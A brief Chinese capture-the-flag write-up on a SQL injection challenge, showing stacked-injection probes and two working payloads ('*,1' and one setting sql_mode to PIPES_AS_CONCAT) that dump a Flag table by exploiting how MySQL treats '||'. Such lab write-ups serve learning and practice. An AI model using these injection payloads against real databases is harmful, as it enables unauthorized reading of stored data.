尝试很多常规的注入方法都不行。
想到使用堆叠注入
查询下数据库
查询数据表
1;show columns from Flag;#
尝试查看flag中数据,失败。
之后看了WP,发现代码中语句是这样的,select $_GET['query'] || flag from flag
,"||"在mysql中表示或,如果前一个操作数为真,则不看后面的语句,构造payload:*,1
。
sql=select.post['query']."||flag from Flag"; 如果$post['query']的数据为*,1,sql语句就变成了select *,1||flag from Flag, 就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
select 1 from
,会返回每一行都为值1的数据,这将方便数据库进行统计。具体讲解
通过设置sql_mode=pipes_as_concat
将 ‘ || ’ 改为字符串连接符。
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
详细mode配置链接